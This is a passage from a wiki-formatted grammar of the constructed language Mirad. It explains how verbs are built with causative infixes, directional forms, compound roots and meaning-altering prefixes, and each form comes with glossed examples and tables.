::* '''At &lt;u&gt;yontadsa&lt;/u&gt; hoj at sa eta jag.'''....''I &lt;u&gt;got divorced&lt;/u&gt; when I was your age.'' [INTRANSITIVE]
::* '''Hisi &lt;u&gt;agaxo&lt;/u&gt; hos et teate.'''....''These &lt;u&gt;will magnify&lt;/u&gt; what you see.'' [TRANSITIVE]
::* '''Hia tud &lt;u&gt;agseye&lt;/u&gt; ig.'''....''This child &lt;u&gt;is growing up&lt;/u&gt; fast.'' [INTRANSITIVE]
::* '''Ata tayd &lt;u&gt;agxe&lt;/u&gt; vosi be oyebzom.'''....''My wife &lt;u&gt;grows&lt;/u&gt; flowers out back.'' [TRANSITIVE]

=== Derived from Nouns ===

: Transitive/causative/active and intransitive/inchoative/passive verbs can also be formed from nouns.  The sense of the former is ''to make be X'' and of the latter, ''to become X''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verbs Derived from Nouns
|-
! Noun !! Transitive/Causative/Active !! Intransitive/Inchoative/Passive
|-
| '''mog'''....''ash'' || '''mogxer'''&lt;br&gt;''to incinerate'' || '''mogser'''&lt;br&gt;''to become ashes''
|-
| '''yan'''....''collection'' || '''yanxer'''&lt;br&gt;''to collect'' || '''yanser'''&lt;br&gt;''to get together''
|-
| '''tad'''....''spouse'' || '''tadxer'''&lt;br&gt;''to marry'' || '''tadser'''&lt;br&gt;''to get married''
|-
| '''yom'''....''ice'' || '''yomxer'''&lt;br&gt;''to freeze/make ice'' || '''yomser'''&lt;br&gt;''to freeze/become ice''
|-
| '''mag'''....''fire'' || '''magxer'''&lt;br&gt;''to burn, set fire to'' || '''magser'''&lt;br&gt;''to burn, get burned''
|-
| '''uk'''....''void'' || '''ukxer'''&lt;br&gt;''to empty'' || '''ukser'''&lt;br&gt;''become empty, empty out''
|}

=== Intermediary Causative Verbs ===

: Intermediary verbal causatives like ''have/get my car washed'', ''make/force him go'', ''get one's hair cut'' are formed by suffixing the causative verb infix '''-ux-''' (active) or '''uxw''' (passive) to the stem of the verb signifying the action to be arranged or caused by someone other than the subject, eg.:

::* '''At gobl&lt;u&gt;ux&lt;/u&gt;o ata tayeb zajub.'''....''I will get my hair cut tomorrow.''
::* '''Et voy yafe p&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me go.''
::* '''Wit tojb&lt;u&gt;ux&lt;/u&gt;a yit.'''....''He had them killed.''
::* '''At efe vyilx&lt;u&gt;ux&lt;/u&gt;er ata pur.'''....''I need to have my car washed.''
::* '''Et up&lt;u&gt;ux&lt;/u&gt;wa him av hes.'''....''You were made to come here for some reason.''
::* '''At bakamb&lt;u&gt;ux&lt;/u&gt;o et.'''....''I will have you hospitalized.''
::* '''Et voy yafe deuz&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me sing.''
::* '''At hihid&lt;u&gt;ux&lt;/u&gt;wa.'''....''I was tickled (= made to laugh).''
::* '''Eta deuz hihid&lt;u&gt;ux&lt;/u&gt;a yat.'''....''Your song tickled us. (= Made us laugh.)''
::* '''Van het ivas&lt;u&gt;ux&lt;/u&gt;u weti.'''....''May someone get you guys to be happy.''
::* '''Hua enzyukpur uzp&lt;u&gt;ux&lt;/u&gt;a yata pur.'''....''That motorcycle caused our car to veer.''

== Subject-directed vs. Patient-directed Verbs ==
: The directionality of some verbs can be distinguished by the verbal formant infix '''-i-''' for an action or motion toward the speaker and '''-u-''' for an action or motion away from the speaker toward some patient, eg.:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Directional Verbs
|-
! Subject-directed !! Patient-directed
|-
| '''b&lt;u&gt;i&lt;/u&gt;er'''....''to take'' || '''b&lt;u&gt;u&lt;/u&gt;er'''....''to give''
|-
| '''nier'''....''to consume'' || '''nuer'''....''to supply''
|-
| '''nyier'''....''to order'' || '''nyuer'''....''to deliver''
|-
| '''nazunier'''....''win a prize'' || '''nazunuer'''....''award a prize''
|-
| '''noysier'''....''pay off'' || '''noysuer'''....''charge''
|-
| '''ojbier'''....''borrow'' || '''ojbuer'''....''lend''
|-
| '''tadier'''....''get married'' || '''taduer'''....''marry off''
|-
| '''papier'''....''take flight'' || '''papuer'''....''send off flying''
|-
| '''pipier'''....''set sail'' || '''pipuer'''....''dock''
|-
| '''simbier'''....''take a seat'' || '''simbuer'''....''offer a seat''
|-
| '''tampier'''....''leave home'' || '''tampuer'''....''arrive home''
|-
| '''tamier'''....''settle in'' || '''tamuer'''....''shelter''
|-
| '''nuxbier'''....''to buy'' || '''nixbuer'''....''to sell''
|-
| '''telier'''....''to eat'' || '''teluer'''....''to feed''
|-
| '''gonbier'''....''to participate'' || '''gonbuer'''....''to share''
|-
| '''tilier'''....''to drink'' || '''tiluer'''....''to ply with drink''
|-
| '''teubier'''....''to swallow'' || '''teubuer'''....''to spit out''
|-
| '''teatier'''....''to observe, watch'' || '''teatuer'''....''to show''
|-
| '''taxier'''....''to memorize'' || '''taxuer'''....''to remind''
|-
| '''alier'''....''to breathe in'' || '''aluer'''....''to breathe out, expire''
|-
| '''ilier'''....''to absorb'' || '''iluer'''....''to pour''
|-
| '''ifier'''....''to enjoy'' || '''ifuer'''....''to please''
|-
| '''dier'''....''to ask'' || '''duer'''....''to suggest''
|-
| '''tier'''....''to learn'' || '''tuer'''....''to inform''
|-
| '''pier'''....''to depart'' || '''puer'''....''to arrive''
|-
| '''kebier'''....''to choose'' || '''kebuer'''....''to distribute''
|-
| '''byier'''....''to originate'' || '''byuer'''....''to target''
|-
| '''mempier'''....''to take off'' || '''mempuer'''....''to land''
|-
| '''sinier'''....''visualize'' || '''sinuer'''....''display''
|-
| '''xier'''....''to result'' || '''xuer'''....''to cause''
|-
| '''yifier'''....''to get up the courage'' || '''yifuer'''....''to encourage, challenge''
|-
| '''yafonier'''....''to gain power'' || '''yafonuer'''....''to empower''
|-
| '''trier'''....''to become acquainted with'' || '''truer'''....''to acquaint with, introduce to''
|-
| '''tepzexier'''....''to draw attention'' || '''tepzexuer'''....''to focus attention on''
|-
| '''yekier'''....''to undertake'' || '''yekuer'''....''to challenge''
|-
| '''dyunier'''....''to assume the name of'' || '''dyunuer'''....''to bestow the name of''
|-
| '''abfinier'''....''to take advantage of'' || '''abfinuer'''....''to favor''
|}

: In some cases, the directionality can be both ways in a verb, in which case the verb formant infix '''-ui-''' (a hybrid form) is used, eg.:
::* '''nunier '''....''to purchase'' (subject-directed)
::* '''nunuer'''....''to sell'' (patient-directed)
::* '''nunuier'''....''to trade'' (subject &amp; patient-directed)

::* '''tier'''....''to learn, realize'' (subject-directed)
::* '''tuer'''....''to inform, tip off'' (patient-directed)
::* '''tuier'''....''to communicate'' (subject &amp; patient-directed)
::* '''ebtuier'''....''to intercommunicate''

::* '''alier'''....''to breathe in, inhale'' (subject-directed)
::* '''aluer'''....''to breathe out, exhale'' (patient-directed)
::* '''aluier'''....''to breathe, respire'' (subject &amp; patient-directed)

::* '''bier '''....''to take'' (subject-directed)
::* '''buer'''....''to give'' (patient-directed)
::* '''buier'''....''to give and take, exchange'' (subject &amp; patient-directed)

== Bi-radical Verbs ==
: Some verbs are formed using two verb roots together.  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Bi-radical Verbs
|-
! Verb Root 1 !! Verb Root 2 !! Bi-radical Verb
|-
| '''nuxer'''....''to pay'' || '''bier'''....''to take'' || '''nuxbier'''....''to buy''
|-
| '''nixer'''....''to earn'' || '''buer'''....''to give'' || '''nixbuer'''....''to sell''
|-
| '''kexer'''....''to seek'' || '''bier'''....''to take'' || '''kexbier'''....''to choose''
|-
| '''uper'''....''to come'' || '''dier'''....''to ask'' || '''updier'''....''to invite''
|-
| '''teater'''....''to see'' || '''der'''....''to tell'' || '''teader'''....''to testify''
|-
| '''teeter'''....''to hear'' || '''drer'''....''to write'' || '''teadrer'''....''to report''
|-
| '''teater'''....''to see'' || '''per'''....''to go'' || '''teaper'''....''to visit''
|-
| '''texer'''....''to think'' || '''der'''....''to say'' || '''texder'''....''to mention''
|-
| '''kexer'''....''to seek'' || '''pixer'''....''to catch'' || '''kexpixer'''....''to hunt''
|-
| '''yeker'''....''to try'' || '''teexer'''....''to listen'' || '''yekteexer'''....''to try (in court)''
|}

== Verbs with Vectorial Prefixes ==

: Prepositions and directional adverbs can be prefixed to verbs in order to change their vectorial semantics. A preposition ending in '''b''' will assimilate by losing the '''b''' before the verb '''per'''....''to go'' or the verb '''ber'''.  This assimilation does not occur for other verbs beginning with '''b''' such as '''byexer''' (''to hit''). A preposition ending in '''b''' will, however, assimilate (lose the '''b''') before any verb bases beginning with a '''p'''. For example, '''ab''' (''on'') + '''bexer''' (''to hold'') = '''obbexer''' (''to hold on''), because '''obexer''' could be interpreted as ''to release''.  Here are some examples:

:{| class=&quot;wikitable sortable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Prepositional Prefixes
|-
! Preposition/Adverb !!  Transitive Verb !! Intransitive Verb
|-
| '''ab'''....''on'' || '''aber'''....''apply''&lt;br&gt;not '''abber'''! || '''aper'''....''get on''&lt;br&gt;not '''abper'''!
|-
| '''ob'''....''off'' || '''ober'''....''remove'' || '''oper'''....''get off, dismount''
|-
| '''ab'''....''off'' || '''abbaxrer'''....''to rub on'' || '''apyexer'''....''to attack''
|-
| '''eb'''....''between'' || '''eber'''....''block'' || '''eper'''....''intervene''
|-
| '''eb'''....''between'' || '''ebdrayefser'''....''to interleave'' || '''ebdrafxer'''....''to interleave''
|-
| '''ub'''....''toward'' || '''uber'''....''to send'' || '''uper'''....''to come''
|-
| '''ub'''....''toward'' || '''ubbixer'''...''to attract'' || '''upixer'''....''to pitch toward''
|-
| '''yab'''....''up'' || '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''yob'''....''down'' || '''yober'''....''take down'' || '''yoper'''....''descend''
|-
| '''yub'''....''near'' || '''yuber'''....''bring near'' || '''yuper'''....''approach''
|-
| '''yib'''....''far'' || '''yiber'''....''take away'' || '''yiper'''....''go far away''
|-
| '''yeb'''....''in'' || '''yeber'''....''insert'' || '''yeper'''....''enter''
|-
| '''yeb'''....''in''  || '''yepuxer'''....''throw in'' || '''yepuser'''....''jump in''
|-
| '''oyeb'''....''out'' || '''oyeber'''....''expose'' || '''oyeper'''....''exit''
|-
| '''oyeb'''....''out'' || '''oyebbuxer'''....''expel'' || '''oyepuxer'''....''eject''
|-
| '''zyu'''....''round''  || '''zyuber'''....''rotate'' || '''zyuper'''....''revolve''
|-
| '''zya'''....''throughout'' || '''zyaber'''....''spread'' || '''zyaper'''....''tour''
|-
| '''av'''....''for'' || '''avdaler'''....''plead'' || '''avper'''....''pursue''
|-
| '''ov'''....''against'' || '''ovber'''....''oppose'' || '''ovper'''....''countervene''
|-
| '''yan'''....''together'' || '''yanber'''....''compose'' || '''yanper'''....''meet''
|-
| '''yon'''....''apart'' || '''yonber'''....''separate'' || '''yonper'''....''separate''
|-
| '''iz'''....''direct'' || '''izber'''....''lead'' || '''izper'''....''head''
|-
| '''uz'''....''curved'' || '''uzber'''....''divert'' || '''uzper'''....''diverge''
|-
| '''yuz'''....''around'' || '''yuzber'''....''surround'' || '''yuzper'''....''circulate''
|-
| '''yiz'''....''beyond'' || '''yizber'''....''transfer'' || '''yizper'''....''surpass''
|-
| '''zoy'''....''back, re-'' || '''zoyber'''....''return'' || '''zoyper'''....''go back''
|}

== Other Semantics-altering Verb Prefixes ==
: As in English and many other languages, prefixes can be used on verbs to reverse, mitigate, or otherwise alter the semantics:

=== Expressing ''re-'' with '''zoy-''' or '''gaw-''' ===
: The prefix '''zoy-'''....''back'' or '''gaw-&lt;sup&gt;1&lt;/sup&gt;'''....''again''  are used like the English prefix ''re-'', eg.:

::* '''ember'''....''to position'' → '''&lt;u&gt;zoy&lt;/u&gt;-ember'''....''to &lt;u&gt;re&lt;/u&gt;position, &lt;u&gt;re&lt;/u&gt;place''
::* '''buer'''....''to give'' → '''&lt;u&gt;zoy&lt;/u&gt;buer'''....''to &lt;u&gt;re&lt;/u&gt;turn (an object), give back''
::* '''sanxer'''....''to shape, form'' → '''&lt;u&gt;zoy&lt;/u&gt;sanxer'''....''to &lt;u&gt;re&lt;/u&gt;shape, &lt;u&gt;re&lt;/u&gt;form, &lt;u&gt;trans&lt;/u&gt;form''
::* '''zyauber'''....''to broadcast'' → '''gawzyauber'''....''to re-broadcast''
::* '''taja'''....''born'' → '''gawtaja'''....''reborn''
::* '''aber'''....''to apply'' → '''gawaber'''....''to reapply''
::* '''teaper'''....''to visit'' → '''&lt;u&gt;gaw&lt;/u&gt;teaper'''....''to &lt;u&gt;re&lt;/u&gt;visit''
::* '''uper'''....''to come'' → '''&lt;u&gt;zoy&lt;/u&gt;-uper&lt;sup&gt;2&lt;/sup&gt;'''....''to &lt;u&gt;re&lt;/u&gt;turn, come &lt;u&gt;back&lt;/u&gt;''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zoy&lt;/u&gt;buxer'''....''to &lt;u&gt;re&lt;/u&gt;pel, push &lt;u&gt;back&lt;/u&gt;''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to &lt;u&gt;re&lt;/u&gt;ject, throw &lt;u&gt;back&lt;/u&gt;, jettison''
: Note 1:  The prefix '''gaw-''' before a consonant is pronounced like the ''gaw'' in the English word ''gawk''.  It is short for '''ga awa jod''' or '''gawa''' meaning ''one more time, again''.  If the &quot;re-&quot; word means ''to do something again'', then '''gaw-''' is used, eg. ''To reconvene'' ( = ''meet again'')....'''gawyanuper'''  If the sense of ''back'' is intended, than the prefix '''zoy-''' is used, eg. ''To return'' ( = ''come back'')....'''zoyuper'''. Both prefixes are used in the expression ''Come back again!''....'''Gawzoy-upu!'''.
: Note 2: The prefix '''zoy''' is followed by a hyphen to make it clear that the prepositon is '''zoy''', not '''zo''' and that the base verb is '''uper''' (''come''), not '''yuper''' (''to approach'').

:''Until we meet again'' or ''au revoir'' is expressed by '''Ju gawyanup.'''

=== Expressing ''de-, dis-, un-'' with '''lo-''' ===
: The prefix '''lo-''' reverses the semantics of a verb and is like English ''dis-'', ''de-'', or ''un-'', eg.:

::* '''sexer'''....''to build, construct'' → '''&lt;u&gt;lo&lt;/u&gt;sexer'''....''to &lt;u&gt;de&lt;/u&gt;stroy, &lt;u&gt;de&lt;/u&gt;construct''
::* '''anxer'''....''to unite'' → '''&lt;u&gt;lo&lt;/u&gt;anxer'''....''to &lt;u&gt;dis&lt;/u&gt;unite''
::* '''xer'''....''to do'' → '''&lt;u&gt;lo&lt;/u&gt;xer'''....''to &lt;u&gt;un&lt;/u&gt;do''

: Note the difference between '''o-''' and '''lo-'''.

::* '''odoparuwa'''....''&lt;u&gt;un&lt;/u&gt;armed'' (= ''not armed'')
::* '''lodoparuwa'''....''&lt;u&gt;dis&lt;/u&gt;armed'' (= from the verb '''lodoparuer'''....''to disarm'')

=== Expressing ''co-'' with '''yan-''' ===
: The prefix '''yan-'''....''together'' is used as the English ''co-'', eg.:

::* '''exer'''....''to operate'' → '''&lt;u&gt;yan&lt;/u&gt;exer'''....''to &lt;u&gt;co&lt;/u&gt;operate''
::* '''tamer'''....''to dwell'' → '''&lt;u&gt;yan&lt;/u&gt;tamer'''....''to &lt;u&gt;co&lt;/u&gt;habit''
::* '''napber'''....''to put in order'' → '''&lt;u&gt;yan&lt;/u&gt;napber'''....''to &lt;u&gt;co&lt;/u&gt;ordinate''

=== Making Verbs Completive with '''ik-''' ===
: Verbs can be made completive or perfective by prefixing them with '''ik-''' (''fully'').  Such verbs are comparable to phrasal verbs in English with ''up'' and other prepositions as in ''to eat up''.  Here are some examples in Mirad:
::* '''tojber'''....''to kill'' → '''iktojber'''....''to kill off, exterminate''
::* '''telier'''....''to eat'' → '''iktelier'''....''to eat up''
::* '''ujber'''....''to finish'' → '''ikujber'''....''to finish off/up''
::* '''gofler'''....''to rip'' → '''ikgofler'''....''to rip up''
::* '''drer'''....''to write'' → '''ikdrer'''....''to write down''
::* '''byexer'''....''to beat'' → '''ikbyexer'''....''to beat up''
::* '''agser'''....''to grow'' → '''ikagser'''....''to grow up''

=== Making Verbs Continuative with '''je-''' ===
: Verbs can be given a continuative nuance with the addition of the prefix '''je-''':
::* '''daler'''....''to talk'' → '''jedalar'''....''to go on talking, to blabber''
::* '''tejer'''....''to live'' → '''jetejer'''....''to go on living, to survive''
::* '''yexer'''....''to work'' → '''jeyexer'''....''to go on working, to keep working''
::* '''teaxer'''....''to look'' → '''jeteaxer'''....''to watch''
::* '''teexer'''....''to listen'' → '''jeteexer'''....''to keep listening, to pay attention''
::* '''duler'''....''to insist'' → '''jeduler'''....''to nag''

=== Making Verbs Inchoative with '''ij-''' ===
: Verbs can be given an inchoative nuance with the addition of the prefix '''ij-''':
::* '''texer'''....''to think'' → '''ijtexer'''....''to start to think''
::* '''ifier'''....''to enjoy'' → '''ijifier'''....''to start liking''
::* '''trer'''....''to know'' → '''ijtrer'''....''to get to know''
::* '''baxer'''....''to stir'' → '''ijbaxer'''....''to instigate''
::* '''byaxer'''....''to erect'' → '''ijbyaxer'''....''to establish, to institute''
::* '''dezer'''....''to perform'' → '''ijdezer'''....''to premier, to debut''
::* '''eser'''....''to exist'' → '''ijeser'''....''to come about''
::* '''kaxer'''....''to find'' → '''ijkaxer'''....''to invent''
::* '''magxer'''....''to burn'' → '''ijmagxer'''....''to kindle''
::* '''saxer'''....''to make'' → '''ijsaxer'''....''to create''
::* '''texer'''....''to think'' → '''ijtexer'''....''to conceive''
::* '''tuxer'''....''to teach'' → '''ijtuxer'''....''to initiate''
::* '''xeler'''....''to celebrate'' → '''ijxeler'''....''to inaugurate''

=== Making Verbs Terminative with '''uj-''' ===
: Verbs can be given a terminative nuance with the addition of the prefix '''uj-''':
::* '''telier'''....''to eat'' → '''ujtelier'''....''to finish eating''
::* '''dyeer'''....''to read'' → '''ujdyeer'''....''to finish reading''
::* '''ufteuder'''....''to complain'' → '''ujufteuder'''....''to quit carping''
::* '''aker'''....''to win'' → '''ujaker'''....''to succeed''
::* '''der'''....''to say'' → '''ujder'''....''to conclude''
::* '''gaber'''....''to add'' → '''ujgaber'''....''to append, to added at the end''
::* '''gyoxer'''....''to thin'' → '''ujgyoxer'''....''to taper''
::* '''kyeser'''....''to happen'' → '''ujkyeser'''....''to turn out''
::* '''oker'''....''to lose'' → '''ujoker'''....''to fail''

=== Giving Verbs a Nuance of Pleasure with '''if-''' ===
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll''
::* '''tuyuxer'''....''to finger'' → '''iftuyuxer'''....''to tickle''
::* '''teaxer'''....''to look'' → '''ifteaxer'''....''to ogle (voyeuristically)''
::* '''piper'''....''to sail'' → '''ifpiper'''....''to go cruising''
::* '''teuder'''....''to shout'' → '''ifteuder'''....''to laugh''
::* '''eker'''....''to play'' → '''ifeker'''....''to have fun''
::* '''abbaxer'''....''to pat'' → '''ifabbaxer'''....''to fondle, to caress''
::* '''axler'''....''to act'' → '''ifaxler'''....''to have fun''
::* '''bier'''....''to take'' → '''ifbier'''....''to embrace, to adopt, to foster''
::* '''buer'''....''to give'' → '''ifbuer'''....''to donate, to gift''
::* '''bikuer'''....''to care for'' → '''ifbikuer'''....''to foster''
::* '''bixer'''....''to pull'' → '''ifbixer'''....''to entice, to tempt, to seduce''
::* '''ebdaler'''....''to converse'' → '''ifebdaler'''....''to chitchat''
::* '''mimparer'''....''to go boating'' → '''ifmimparer'''....''to go yachting''
::* '''tayoxer'''....''to touch'' → '''iftayoxer'''....''to tickle, to titillate''
::* '''teaxer'''....''to look at'' → '''ifteaxer'''....''to ogle, to feast one's eyes on, to moon over''
::* '''telier'''....''to eat'' → '''iftelier'''....''to feast on''
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll, to jaunt, to promenade''

=== Giving Verbs a Nuance of Displeasure with '''uf-''' ===
::* '''tosier'''....''to feel'' → '''uftosier'''....''to get angry''
::* '''eker'''....''to play'' → '''ufeker'''....''to fight''
::* '''der'''....''to say'' → '''ufder'''....''to express displeasure''
::* '''aluer'''....''to exhale'' → '''ufaluer'''....''to huff''
::* '''daler'''....''to talk'' → '''ufdaler'''....''to rant''
::* '''teaxer'''....''to look at'' → '''ufteaxer'''....''to scorn, to disdain''
::* '''teuber'''....''to make an expression'' → '''ufteuber'''....''to frown''
::* '''teuder'''....''to shout'' → '''ufteuder'''....''to grouse, to gripe''

=== Giving Verbs a Nuance of Prohibition with '''of-''' ===
::* '''bier'''....''to take'' → '''ofbier'''....''to steal''
::* '''deler'''....''to declare'' → '''ofdeler'''....''to ban''
::* '''yeper'''....''to enter'' → '''ofyeper'''....''to intrude, break in''
::* '''zeyper'''....''to cross'' → '''ofzeyper'''....''to transgress, poach''
::* '''gelxer'''....''to copy'' → '''ofgelxer'''....''to pirate, plagiarize''
::* '''bekuluer'''....''to administer medicine'' → '''ofbekuluer'''....''to dope''
::* '''nuxuer'''....''to pay'' → '''ofnuxuer'''....''to bribe, pay off, suborn''

=== Giving Verbs a Nuance of Holiness with '''fya-''' ===
::* '''bexler'''....''to keep'' → '''fyabexler'''....''to enshrine''
::* '''buer'''....''to give'' → '''fyabuer'''....''to sacrifice''
::* '''der'''....''to say'' → '''fyader'''....''to bless''
::* '''daler'''....''to speak'' → '''fyadaler'''....''to preach, sermonize''
::* '''diler'''....''to request'' → '''fyadiler'''....''to pray''
::* '''deuzer'''....''to sing'' → '''fyadeuzer'''....''to chant''
::* '''ifrer'''....''to love dearly'' → '''fyaifrer'''....''to worship, adore''
::* '''jader'''....''to predict'' → '''fyajader'''....''to prophesy''
::* '''miluer'''....''to sprinkle'' → '''fyamiluer'''....''to sprinkle with holy water''
::* '''ojvader'''....''to promise'' → '''fyaojvader'''....''to swear''
::* '''xeler'''....''to practice'' → '''fyaxeler'''....''to celebrate''
::* '''koser'''....''to hide'' → '''fyakoser'''....''to go on a retreat, go into hermitage''
::* '''teazer'''....''perform a show'' → '''fyateazer'''....''to perform a miracle''

=== Giving Verbs a Nuance of Profanity with '''fyo-''' ===
::* '''der'''....''to say'' → '''fyoder'''....''to curse''
::* '''diler'''....''to request'' → '''fyodiler'''....''to conjure''
::* '''tyezer'''....''to perform magic'' → '''fyotezer'''....''to engage in black magic''
::* '''xer'''....''to do'' → '''fyoxer'''....''to sin''
=== Expressing Good Actions with '''fi-''' ===
::* '''agser'''....''to grow'' → '''fiagser'''....''to thrive, to flourish''
::* '''axler'''....''to act'' → '''fiaxler'''....''to behave well''
::* '''der'''....''to say'' → '''fider'''....''to praise''
::* '''deler'''....''to declare'' → '''fideler'''....''to approve''
::* '''datiber'''....''to host'' → '''fidatiber'''....''to welcome''
::* '''diber'''....''to manage'' → '''fidiber'''....''to husband''
::* '''doler'''....''to be silent'' → '''fidoler'''....''to be discrete''
::* '''duer'''....''to suggest'' → '''fiduer'''....''to recommend''
::* '''ebexler'''....''to interact'' → '''fiebexler'''....''to get along well''
::* '''exer'''....''to operate'' → '''fiexer'''....''to operate smoothly''
::* '''fer'''....''to want'' → '''fifer'''....''to mean well''
::* '''ijer'''....''to start'' → '''fiijer'''....''to get a good start''
::* '''nagser'''....''to measure'' → '''finagser'''....''to adapt''
::* '''napxer'''....''to arrange'' → '''finapxer'''....''to tidy up, to neaten''
::* '''ojfer'''....''to wish'' → '''fiojfer'''....''to wish well''
::* '''per'''....''to go'' → '''fiper'''....''to fare well, to prosper''
::* '''teaser'''....''to seem'' → '''fiteaser'''....''to look nice''
::* '''teaxer'''....''to look at'' → '''fiteaxer'''....''to admire''
::* '''tejer'''....''to live'' → '''fitejer'''....''to thrive''
::* '''teuder'''....''to shout'' → '''fiteuder'''....''to acclaim, to laud''
::* '''tosuer'''....''to make feel'' → '''fitosuer'''....''to exhilarate''
::* '''tujer'''....''to sleep'' → '''fitujer'''....''to sleep soundly''
::* '''yaker'''....''to expect'' → '''fiyaker'''....''to hope''
::* '''yuxer'''....''to help'' → '''fiyuxer'''....''to benefit''
::* '''xer'''....''to do'' → '''fixer'''....''to do well''

=== Expressing Bad Actions with '''fu-''' ===
::* '''axler'''....''to act'' → '''fuaxler'''....''to misbehave''
::* '''bekuer'''....''to treat'' → '''fubekuer'''....''to mistreat, to maltreat''
::* '''bexer'''....''to hold'' → '''fubexer'''....''to fumble''
::* '''bikuer'''....''to care for'' → '''fubikuer'''....''to neglect''
::* '''daler'''....''to talk'' → '''fudaler'''....''to speak ill of, to badmouth''
::* '''deler'''....''to declare'' → '''fudeler''''....''to denounce''
::* '''diber'''....''to manage'' → '''fudiber'''....''to mismanage, to maladminister''
::* '''doler'''....''to be quiet'' → '''fudoler'''....''to sulk''
::* '''dezgonuer'''....''to cast'' → '''fudezgonuer'''....''to miscast''
::* '''exer'''....''to function'' → '''fuexer'''....''to malfunction''
::* '''fer'''....''to want'' → '''fufer'''....''to wish ill''
::* '''fyiduer'''....''to advise'' → '''fufyiduer'''....''to ill-advise''
::* '''napxer'''....''to arrange'' → '''funapxer'''....''to mess up''
::* '''yevder'''....''to judge'' → '''fuyevder'''....''to critique negatively''
::* '''yuxer'''....''to help'' → '''fuyuxer'''....''to abuse''

=== Expressing More Intense Actions with '''az-''' ===
::* '''abbixer'''....''to attract'' → '''&lt;u&gt;az&lt;/u&gt;abbixer'''....''to infatuate''
::* '''aluer'''....''to blow'' → '''&lt;u&gt;az&lt;/u&gt;aluer'''....''to huff''
::* '''basrer'''....''to shake'' → '''&lt;u&gt;az&lt;/u&gt;basrer'''....''to convulse''
::* '''bexer'''....''to hold'' → '''&lt;u&gt;az&lt;/u&gt;bexer'''....''to clutch''
::* '''birer'''....''to grab''' → '''&lt;u&gt;az&lt;/u&gt;birer'''....''to seize''
::* '''buxer'''....''to push''' → '''&lt;u&gt;az&lt;/u&gt;buxer'''....''to prod''
::* '''byexer'''....''to strike'' → '''&lt;u&gt;az&lt;/u&gt;byexer'''....''to stomp, to hit hard''
::* '''der'''....''to say'' → '''&lt;u&gt;az&lt;/u&gt;der'''....''to emphasize''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;az&lt;/u&gt;duer'''....''to urge''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;az&lt;/u&gt;dizeuder'''....''to guffaw''
::* '''fer'''....''to want'' → '''&lt;u&gt;az&lt;/u&gt;fer'''....''to crave''
::* '''fuyevder'''....''to criticize'' → '''&lt;u&gt;az&lt;/u&gt;fuyevder'''....''to lambaste''
::* '''yujber'''....''to close'' → '''&lt;u&gt;az&lt;/u&gt;yujber'''....''to lock''

=== Expressing Less Intense Actions with '''oz-''' ===
::* '''der'''....''to utter'' → '''&lt;u&gt;oz&lt;/u&gt;der'''....''to whisper''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;oz&lt;/u&gt;duer'''....''to hint''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;oz&lt;/u&gt;dizeuder'''....''to chuckle''
::* '''uvteuder'''....''to moan'' → '''&lt;u&gt;oz&lt;/u&gt;uvteuder'''....''to whimper''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;oz&lt;/u&gt;tyoper'''....''to limp''
=== Expressing ''pre-, fore-'' with '''ja-''' ===
::* '''der'''....''to tell'' → '''&lt;u&gt;ja&lt;/u&gt;der'''....''to foretell, predict''
::* '''teater'''....''to see'' → '''&lt;u&gt;ja&lt;/u&gt;teater'''....''to foresee, preview''
::* '''ter'''....''to know'' → '''&lt;u&gt;ja&lt;/u&gt;ter'''....''to presage, have foreknowledge of''
::* '''yever'''....''to judge'' → '''&lt;u&gt;ja&lt;/u&gt;yever'''....''to prejudge''
::* '''juder'''....''to date'' → '''&lt;u&gt;ja&lt;/u&gt;juder'''....''to antedate''
=== Expressing ''post-, after-'' with '''jo-''' ===
::* '''juder'''....''to date'' → '''&lt;u&gt;jo&lt;/u&gt;juder'''....''to postdate''
::* '''texer'''....''to think'' → '''&lt;u&gt;jo&lt;/u&gt;texer'''....''to reflect on, review''
::* '''uvder'''....''to express sadness'' → '''&lt;u&gt;jo&lt;/u&gt;uvder'''....''to mourn, regret''
::* '''ibler'''....''to obtain'' → '''&lt;u&gt;jo&lt;/u&gt;ibler'''....''to inherit''

=== Expressing ''excessively'' with '''gra-''' ===
::* '''telier'''....''to eat'' → '''&lt;u&gt;gra&lt;/u&gt;telier'''....''to overeat''
::* '''fer'''....''to want'' → '''&lt;u&gt;gra&lt;/u&gt;fer'''....''to covet''
::* '''der'''....''to say'' → '''&lt;u&gt;gra&lt;/u&gt;der'''....''to exaggerate''
::* '''daler'''....''to talk'' → '''&lt;u&gt;gra&lt;/u&gt;daler'''....''to yammer''

=== Expressing ''inadequately'' with '''gro-''' ===
::* '''fyinder'''....''to value'' → '''&lt;u&gt;gro&lt;/u&gt;fyinder'''....''to underestimate''
::* '''mageler'''....''to cook'' → '''&lt;u&gt;gro&lt;/u&gt;mageler'''....''to undercook''
::* '''xaer'''....''to perform'' → '''&lt;u&gt;gro&lt;/u&gt;xaer'''....''to underperform''

=== Expressing ''counter-, contra-'' with '''ov-''' or '''oyv-''' ===
::* '''axler'''....''to act''  → '''&lt;u&gt;ov&lt;/u&gt;axler'''....''to counteract''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ov&lt;/u&gt;apyexer'''....''to counterattack''
::* '''daler'''....''to speak'' → '''&lt;u&gt;ov&lt;/u&gt;daler'''....''to oppose''
::* '''der'''....''to say'' → '''&lt;u&gt;oyv&lt;/u&gt;der'''....''to contradict''
::* '''ber'''....''to put'' → '''&lt;u&gt;oyv&lt;/u&gt;ber'''....''to reverse, overturn''
